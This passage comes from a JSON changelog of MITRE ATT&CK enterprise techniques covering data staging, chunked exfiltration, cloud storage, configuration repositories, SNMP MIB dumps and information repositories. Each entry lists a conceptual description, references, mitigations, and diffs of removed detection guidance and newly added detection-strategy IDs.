stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1074/002", + "external_id": "T1074.002" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.453000+00:00\", \"old_value\": \"2025-04-15 19:58:21.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0071: Detection of Remote Data Staging Prior to Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:34.523000+00:00", + "modified": "2025-10-24 17:49:20.770000+00:00", + "name": "Data Transfer Size Limits", + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1030", + "external_id": "T1030" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.770000+00:00\", \"old_value\": \"2025-04-15 19:59:05.559000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0213: Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:07:27.741000+00:00", + "modified": "2025-10-24 17:48:37.187000+00:00", + "name": "Data from Cloud Storage", + "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1530", + "external_id": "T1530" + }, + { + "source_name": "Amazon S3 Security, 2019", + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/" + }, + { + "source_name": "Microsoft Azure Storage Security, 2019", + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide" + }, + { + "source_name": "Wired Magecart S3 Buckets, 2019", + "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.", + "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/" + }, + { + "source_name": "Google Cloud Storage Best Practices, 2019", + "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.", + "url": "https://cloud.google.com/storage/docs/best-practices" + }, + { + "source_name": "HIPAA Journal S3 Breach, 2017", + "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.", + "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/" + }, + { + "source_name": "Rclone-mega-extortion_05_2021", + "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.", + "url": "https://redcanary.com/blog/rclone-mega-extortion/" + }, + { + "source_name": "Trend Micro S3 Exposed PII, 2017", + "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Netskope", + "Praetorian", + "AppOmni", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Metadata\", \"Cloud Storage: Cloud Storage Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.187000+00:00\", \"old_value\": \"2025-04-15 22:15:26.889000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1032: Multi-factor Authentication", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0010: Cloud Storage (Cloud Storage Access)", + "DS0025: Cloud Service (Cloud Service Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0484: Multi-Platform Cloud Storage Exfiltration Behavior Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 23:46:13.931000+00:00", + "modified": "2025-10-24 17:48:22.396000+00:00", + "name": "Data from Configuration Repository", + "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1602", + "external_id": "T1602" + }, + { + "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities", + "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3" + }, + { + "source_name": "US-CERT TA17-156A SNMP Abuse 2017", + "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.396000+00:00\", \"old_value\": \"2025-04-16 20:37:15.147000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0592: Detection Strategy for Data from Configuration Repository on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-20 00:08:21.745000+00:00", + "modified": "2025-10-24 17:48:47.219000+00:00", + "name": "Network Device Configuration Dump", + "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1602/002", + "external_id": "T1602.002" + }, + { + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.219000+00:00\", \"old_value\": \"2025-04-25 14:46:40.804000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0233: Detection Strategy for Network Device Configuration Dump via Config Repositories" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 23:51:05.953000+00:00", + "modified": "2025-10-24 17:49:34.969000+00:00", + "name": "SNMP (MIB Dump)", + "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1602/001", + "external_id": "T1602.001" + }, + { + "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP", + "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.", + "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities", + "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.969000+00:00\", \"old_value\": \"2025-04-25 14:48:29.549000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0453: Detection Strategy for SNMP (MIB Dump) on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:26.262000+00:00", + "name": "Data from Information Repositories", + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213", + "external_id": "T1213" + }, + { + "source_name": "Mitiga", + "description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.", + "url": "https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + }, + { + "source_name": "TrendMicro Exposed Redis 2020", + "description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.", + "url": "https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + }, + { + "source_name": "Sharepoint Sharing Events", + "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events" + }, + { + "source_name": "Cybernews Reuters Leak 2022", + "description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.", + "url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Praetorian", + "Milos Stojadinovic", + "Isif Ibrahima, Mandiant", + "Obsidian Security", + "Naveen Vijayaraghavan", + "Nilesh Dherange (Gurucul)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "3.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.262000+00:00\", \"old_value\": \"2025-04-15 22:15:46.213000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n-\\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user 